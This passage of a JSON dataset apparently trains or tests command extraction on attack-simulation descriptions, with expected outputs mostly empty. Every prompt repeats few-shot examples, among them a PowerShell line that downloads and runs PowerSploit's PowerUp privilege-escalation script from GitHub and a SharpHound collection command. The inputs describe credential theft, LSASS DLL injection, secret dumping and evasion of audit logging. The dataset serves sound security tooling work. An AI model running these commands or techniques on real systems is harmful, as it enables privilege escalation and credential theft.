[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Simulates an adversary accessing encrypted credentials from Opera web browser's login database. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.\nBefore we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.\n[More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/).\n\nThis test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Identifies an Event Hub deletion in Azure.\nAn Event Hub is an event processing service that ingests and processes large volumes of events and data.\nAn adversary may delete an Event Hub in an attempt to evade detection.\nhttps://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n In Windows operating systems, command line auditing is controlled through the following registry value:\n\n Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n \n Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.\nThis information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.\nBy default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.\nConversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while 